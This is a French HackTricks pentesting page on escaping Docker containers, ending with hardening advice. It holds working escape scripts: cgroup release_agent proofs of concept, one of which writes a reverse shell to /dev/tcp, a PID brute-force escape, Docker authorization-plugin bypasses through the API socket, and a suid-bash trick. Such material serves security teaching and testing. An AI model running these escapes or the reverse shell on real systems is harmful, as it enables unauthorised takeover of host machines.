<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !

- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)

- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)

- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>


# Qu'est-ce qu'un conteneur

En résumé, c'est un **processus isolé** via **cgroups** (ce que le processus peut utiliser, comme le CPU et la RAM) et des **espaces de noms** (ce que le processus peut voir, comme les répertoires ou les autres processus) :
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
# Socket Docker monté

Si vous trouvez que le **socket Docker est monté** à l'intérieur du conteneur Docker, vous pourrez vous échapper.\
Cela se produit généralement dans les conteneurs Docker qui, pour une raison quelconque, doivent se connecter au démon Docker pour effectuer des actions.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
Dans ce cas, vous pouvez utiliser les commandes docker régulières pour communiquer avec le démon docker:
```bash
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
```
{% hint style="info" %}
Dans le cas où le **socket docker est dans un emplacement inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///path/to/docker.sock`**
{% endhint %}

# Capacités du conteneur

Vous devez vérifier les capacités du conteneur, s'il possède l'une des capacités suivantes, vous pourriez être en mesure de vous échapper : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`**

Vous pouvez vérifier les capacités actuelles du conteneur avec :
```bash
capsh --print
```
Sur la page suivante, vous pouvez **en savoir plus sur les capacités de Linux** et comment les abuser :

{% content-ref url="linux-capabilities.md" %}
[linux-capabilities.md](linux-capabilities.md)
{% endcontent-ref %}

# Drapeau `--privileged`

Le drapeau --privileged permet au conteneur d'avoir accès aux périphériques de l'hôte.

## Je suis propriétaire de Root

Les conteneurs Docker bien configurés n'autorisent pas les commandes telles que **fdisk -l**. Cependant, dans une commande Docker mal configurée où le drapeau --privileged est spécifié, il est possible d'obtenir les privilèges pour voir le disque de l'hôte.

![](https://bestestredteam.com/content/images/2019/08/image-16.png)

Ainsi, pour prendre le contrôle de la machine hôte, c'est trivial :
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
Et voilà ! Vous pouvez maintenant accéder au système de fichiers de l'hôte car il est monté dans le dossier `/mnt/hola`.

{% code title="PoC initial" %}
```bash
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
{% endcode %}

{% code title="Deuxième PoC" %}
```bash
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
```
{% endcode %}

Le drapeau `--privileged` introduit des problèmes de sécurité importants et l'exploit repose sur le lancement d'un conteneur Docker avec ce drapeau activé. Lorsque ce drapeau est utilisé, les conteneurs ont un accès complet à tous les périphériques et ne sont pas soumis aux restrictions de seccomp, AppArmor et des capacités Linux.

En fait, `--privileged` fournit beaucoup plus de permissions que nécessaire pour s'échapper d'un conteneur Docker via cette méthode. En réalité, les seuls prérequis sont :

1. Nous devons être en train d'exécuter en tant que root à l'intérieur du conteneur
2. Le conteneur doit être exécuté avec la capacité Linux `SYS_ADMIN`
3. Le conteneur doit manquer d'un profil AppArmor, ou autrement permettre l'appel système `mount`
4. Le système de fichiers virtuel cgroup v1 doit être monté en lecture-écriture à l'intérieur du conteneur

La capacité `SYS_ADMIN` permet à un conteneur d'exécuter l'appel système `mount` (voir [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker démarre les conteneurs avec un ensemble restreint de capacités](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) par défaut et n'active pas la capacité `SYS_ADMIN` en raison des risques de sécurité que cela implique.

De plus, Docker [démarre les conteneurs avec la politique AppArmor par défaut `docker-default`](https://docs.docker.com/engine/security/apparmor/#understand-the-policies), qui [empêche l'utilisation de l'appel système `mount`](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) même lorsque le conteneur est exécuté avec `SYS_ADMIN`.

Un conteneur serait vulnérable à cette technique s'il est exécuté avec les drapeaux : `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`

## Analyse du proof of concept

Maintenant que nous comprenons les prérequis pour utiliser cette technique et que nous avons affiné l'exploit de proof of concept, parcourons-le ligne par ligne pour démontrer comment il fonctionne.

Pour déclencher cette exploitation, nous avons besoin d'un cgroup où nous pouvons créer un fichier `release_agent` et déclencher l'invocation de `release_agent` en tuant tous les processus dans le cgroup. Le moyen le plus simple d'y parvenir est de monter un contrôleur cgroup et de créer un cgroup enfant.

Pour ce faire, nous créons un répertoire `/tmp/cgrp`, montons le contrôleur cgroup [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) et créons un cgroup enfant (nommé "x" à des fins d'exemple). Bien que tous les contrôleurs cgroup n'aient pas été testés, cette technique devrait fonctionner avec la majorité des contrôleurs cgroup.

Si vous suivez et obtenez "mount: /tmp/cgrp: special device cgroup does not exist", c'est parce que votre configuration n'a pas le contrôleur cgroup RDMA. Changez `rdma` en `memory` pour le corriger. Nous utilisons RDMA car le PoC original a été conçu pour fonctionner uniquement avec celui-ci.

Notez que les contrôleurs cgroup sont des ressources globales qui peuvent être montées plusieurs fois avec des autorisations différentes et les modifications apportées à un montage s'appliqueront à un autre.

Nous pouvons voir ci-dessous la création du cgroup enfant "x" et sa liste de répertoires.
```
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks
```
Ensuite, nous activons les notifications cgroup lors de la libération du cgroup "x" en écrivant un 1 dans son fichier `notify_on_release`. Nous définissons également l'agent de libération du cgroup RDMA pour exécuter un script `/cmd` - que nous créerons plus tard dans le conteneur - en écrivant le chemin du script `/cmd` sur l'hôte dans le fichier `release_agent`. Pour ce faire, nous récupérons le chemin du conteneur sur l'hôte à partir du fichier `/etc/mtab`.

Les fichiers que nous ajoutons ou modifions dans le conteneur sont présents sur l'hôte, et il est possible de les modifier à partir des deux mondes : le chemin dans le conteneur et leur chemin sur l'hôte.

Ces opérations peuvent être vues ci-dessous :
```
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
Notez le chemin d'accès au script `/cmd` que nous allons créer sur l'hôte :
```
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
```
Maintenant, nous créons le script `/cmd` de sorte qu'il exécute la commande `ps aux` et enregistre sa sortie dans `/output` sur le conteneur en spécifiant le chemin complet du fichier de sortie sur l'hôte. À la fin, nous imprimons également le contenu du script `/cmd` pour voir son contenu :
```
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
```
Enfin, nous pouvons exécuter l'attaque en créant un processus qui se termine immédiatement à l'intérieur du sous-cgroupe "x". En créant un processus `/bin/sh` et en écrivant son PID dans le fichier `cgroup.procs` dans le répertoire du sous-cgroupe "x", le script sur l'hôte s'exécutera après la sortie de `/bin/sh`. La sortie de `ps aux` effectuée sur l'hôte est ensuite enregistrée dans le fichier `/output` à l'intérieur du conteneur :
```
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]
```
# Drapeau `--privileged` v2

Les PoCs précédents fonctionnent bien lorsque le conteneur est configuré avec un pilote de stockage qui expose le chemin d'accès complet de l'hôte du point de montage, par exemple `overlayfs`. Cependant, j'ai récemment rencontré quelques configurations qui ne divulguent pas évidemment le point de montage du système de fichiers hôte.

## Kata Containers
```
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
```
Par défaut, [Kata Containers](https://katacontainers.io) monte le système de fichiers racine d'un conteneur sur `9pfs`. Cela ne divulgue aucune information sur l'emplacement du système de fichiers du conteneur dans la machine virtuelle Kata Containers.

\* Plus d'informations sur Kata Containers dans un prochain article de blog.

## Device Mapper
```
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
```
J'ai vu un conteneur avec ce montage racine dans un environnement en direct, je crois que le conteneur fonctionnait avec une configuration de pilote de stockage `devicemapper` spécifique, mais à ce stade, je n'ai pas été en mesure de reproduire ce comportement dans un environnement de test.

## Une alternative PoC

Évidemment, dans ces cas, il n'y a pas suffisamment d'informations pour identifier le chemin des fichiers de conteneurs sur le système de fichiers hôte, donc le PoC de Felix ne peut pas être utilisé tel quel. Cependant, nous pouvons toujours exécuter cette attaque avec un peu d'ingéniosité.

La seule information clé requise est le chemin complet, relatif à l'hôte de conteneur, d'un fichier à exécuter dans le conteneur. Sans être en mesure de le discerner à partir des points de montage dans le conteneur, nous devons chercher ailleurs.

### Proc à la rescousse <a href="proc-to-the-rescue" id="proc-to-the-rescue"></a>

Le pseudo-système de fichiers `/proc` de Linux expose les structures de données de processus du noyau pour tous les processus en cours d'exécution sur un système, y compris ceux s'exécutant dans différents espaces de noms, par exemple dans un conteneur. Cela peut être démontré en exécutant une commande dans un conteneur et en accédant au répertoire `/proc` du processus sur l'hôte : Conteneur.
```bash
root@container:~$ sleep 100
```

```bash
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...
```
En passant, la structure de données `/proc/<pid>/root` m'a longtemps laissé perplexe, je ne comprenais pas pourquoi avoir un lien symbolique vers `/` était utile, jusqu'à ce que je lise la définition réelle dans les pages de manuel :

> /proc/\[pid]/root
>
> UNIX et Linux supportent l'idée d'une racine de système de fichiers par processus, définie par l'appel système chroot(2). Ce fichier est un lien symbolique qui pointe vers le répertoire racine du processus, et se comporte de la même manière que exe et fd/\*.
>
> Notez cependant que ce fichier n'est pas simplement un lien symbolique. Il fournit la même vue du système de fichiers (y compris les espaces de noms et l'ensemble des montages par processus) que le processus lui-même.

Le lien symbolique `/proc/<pid>/root` peut être utilisé comme un chemin relatif à l'hôte vers n'importe quel fichier dans un conteneur : Conteneur
```bash
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
```

```bash
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
```
Cela change la condition requise pour l'attaque, passant de la connaissance du chemin complet, relatif à l'hôte du conteneur, d'un fichier à l'intérieur du conteneur, à la connaissance du pid de _n'importe quel_ processus s'exécutant dans le conteneur.

### Bashage de Pid <a href="pid-bashing" id="pid-bashing"></a>

C'est en fait la partie facile, les identifiants de processus dans Linux sont numériques et attribués séquentiellement. Le processus `init` est attribué l'identifiant de processus `1` et tous les processus suivants sont attribués des identifiants incrémentaux. Pour identifier l'identifiant de processus de l'hôte d'un processus à l'intérieur d'un conteneur, une recherche incrémentale par force brute peut être utilisée : Container
```
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
```
Hôte
```bash
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
```
### Mettre le tout ensemble <a href="putting-it-all-together" id="putting-it-all-together"></a>

Pour mener à bien cette attaque, la technique de force brute peut être utilisée pour deviner le pid du chemin `/proc/<pid>/root/payload.sh`, avec chaque itération écrivant le chemin pid deviné dans le fichier `release_agent` des cgroups, déclenchant le `release_agent`, et vérifiant si un fichier de sortie est créé.

Le seul inconvénient de cette technique est qu'elle n'est en aucun cas subtile et peut augmenter considérablement le nombre de pid. Comme aucun processus de longue durée n'est maintenu en cours d'exécution, cela ne devrait pas causer de problèmes de fiabilité, mais ne me citez pas là-dessus.

Le PoC ci-dessous met en œuvre ces techniques pour fournir une attaque plus générique que celle présentée initialement dans le PoC original de Felix pour s'échapper d'un conteneur privilégié en utilisant la fonctionnalité `release_agent` des cgroups :
```bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...
```
# Exploit Runc (CVE-2019-5736)

Si vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous pouvez essayer d'escalader les privilèges en sortant d'un conteneur en exploitant CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** **à partir d'un conteneur**, de sorte que toute personne exécutant docker exec peut déclencher la charge utile.

Modifiez la charge utile en conséquence et compilez main.go avec `go build main.go`. Le binaire résultant doit être placé dans le conteneur Docker pour l'exécution.\
Lors de l'exécution, dès qu'il affiche `[+] Overwritten /bin/sh successfully`, vous devez exécuter ce qui suit depuis la machine hôte :

`docker exec -it <nom-du-conteneur> /bin/sh`

Cela déclenchera la charge utile qui est présente dans le fichier main.go.

Pour plus d'informations : [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)

# Contourner le plugin d'authentification Docker

Dans certains cas, l'administrateur système peut installer des plugins pour Docker afin d'empêcher les utilisateurs à faible privilège d'interagir avec Docker sans pouvoir escalader les privilèges.

## `run --privileged` interdit

Dans ce cas, l'administrateur système **interdit aux utilisateurs de monter des volumes et d'exécuter des conteneurs avec le drapeau `--privileged`** ou de donner des capacités supplémentaires au conteneur :
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
Cependant, un utilisateur peut **créer un shell à l'intérieur du conteneur en cours d'exécution et lui donner des privilèges supplémentaires**:
```bash
docker run -d --security-opt "seccomp=unconfined" ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
```
Maintenant, l'utilisateur peut s'échapper du conteneur en utilisant l'une des techniques précédemment discutées et escalader les privilèges à l'intérieur de l'hôte.

## Monter un dossier inscriptible

Dans ce cas, l'administrateur système **a interdit aux utilisateurs d'exécuter des conteneurs avec le drapeau `--privileged`** ou de donner des capacités supplémentaires au conteneur, et il a seulement autorisé le montage du dossier `/tmp`:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
 -p #This will give you a shell as root
```
{% hint style="info" %}
Notez que vous ne pouvez peut-être pas monter le dossier `/tmp`, mais vous pouvez monter un **dossier différent accessible en écriture**. Vous pouvez trouver des répertoires accessibles en écriture en utilisant la commande : `find / -writable -type d 2>/dev/null`

**Notez que tous les répertoires d'une machine Linux ne prendront pas en charge le bit suid !** Pour vérifier quels répertoires prennent en charge le bit suid, exécutez la commande `mount | grep -v "nosuid"`. Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne prennent pas en charge le bit suid.

Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier depuis le conteneur Docker en tant que root pour **les exploiter sur l'hôte** et escalader les privilèges (peut-être en modifiant `/etc/shadow`).
{% endhint %}

## Structure JSON non vérifiée

Il est possible que lorsque l'administrateur système a configuré le pare-feu Docker, il ait **oublié un paramètre important** de l'API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) comme "**Binds**".\
Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur qui monte le dossier racine (/) de l'hôte :
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
## Attribut JSON non vérifié

Il est possible que lorsque l'administrateur système a configuré le pare-feu docker, il ait **oublié un attribut important d'un paramètre de l'API** ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) comme "**Capabilities**" à l'intérieur de "**HostConfig**". Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur avec la capacité **SYS_MODULE** :
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
```
# Montage hostPath inscriptible

(Info de [**ici**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Dans le conteneur, un attaquant peut tenter d'obtenir un accès supplémentaire au système d'exploitation hôte sous-jacent via un volume hostPath inscriptible créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier dans le conteneur pour voir si vous exploitez ce vecteur d'attaque :
```bash
### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger

### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1
```
# Améliorations de la sécurité des conteneurs

## Seccomp dans Docker

Il ne s'agit pas d'une technique pour s'échapper d'un conteneur Docker, mais d'une fonctionnalité de sécurité que Docker utilise et que vous devriez connaître car elle pourrait vous empêcher de vous échapper de Docker :

{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
{% endcontent-ref %}

## AppArmor dans Docker

Il ne s'agit pas d'une technique pour s'échapper d'un conteneur Docker, mais d'une fonctionnalité de sécurité que Docker utilise et que vous devriez connaître car elle pourrait vous empêcher de vous échapper de Docker :

{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
{% endcontent-ref %}

## AuthZ & AuthN

Un plugin d'autorisation **approuve** ou **refuse** les **demandes** au démon Docker en fonction du contexte d'**authentification** actuel et du contexte de **commande**. Le contexte d'**authentification** contient tous les **détails de l'utilisateur** et la **méthode d'authentification**. Le contexte de **commande** contient toutes les données de **demande** **pertinentes**.

{% content-ref url="broken-reference" %}
[Lien cassé](broken-reference)
{% endcontent-ref %}

## gVisor

**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface du système Linux. Il comprend un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) appelé `runsc` qui fournit une **frontière d'isolation entre l'application et le noyau hôte**. Le runtime `runsc` s'intègre à Docker et Kubernetes, ce qui permet de lancer facilement des conteneurs sandbox.

{% embed url="https://github.com/google/gvisor" %}

# Kata Containers

**Kata Containers** est une communauté open source travaillant à la construction d'un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais qui offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme deuxième couche de défense.

{% embed url="https://katacontainers.io/" %}

## Utiliser les conteneurs en toute sécurité

Docker restreint et limite les conteneurs par défaut. Assouplir ces restrictions peut créer des problèmes de sécurité, même sans la pleine puissance du drapeau `--privileged`. Il est important de reconnaître l'impact de chaque permission supplémentaire et de limiter les autorisations globales au minimum nécessaire.

Pour aider à maintenir la sécurité des conteneurs :

* Ne pas utiliser le drapeau `--privileged` ou monter un [socket Docker à l'intérieur du conteneur](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). Le socket Docker permet de lancer des conteneurs, il est donc facile de prendre le contrôle total de l'hôte, par exemple en exécutant un autre conteneur avec le drapeau `--privileged`.
* Ne pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un [utilisateur différent](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) ou des [espaces de noms utilisateur](https://docs.docker.com/engine/security/userns-remap/). Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups.
* [Supprimer toutes les capacités](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) et n'activer que celles qui sont nécessaires (`--cap-add=...`). Beaucoup de charges de travail n'ont besoin d'aucune capacité et leur ajout augmente la portée d'une attaque potentielle.
* [Utiliser l'option de sécurité "no-new-privileges"](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid.
* [Limiter les ressources disponibles pour le conteneur](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Les limites de ressources peuvent protéger la machine contre les attaques de déni de service.
* Ajuster les profils [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (ou SELinux) pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis.
* Utiliser des [images Docker officielles](https://docs.docker.com/docker-hub/official_images/) ou construire les vôtres en vous basant sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/).
* Reconstruire régulièrement vos images pour appliquer les correctifs de sécurité. Cela va sans dire.

# Références

* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
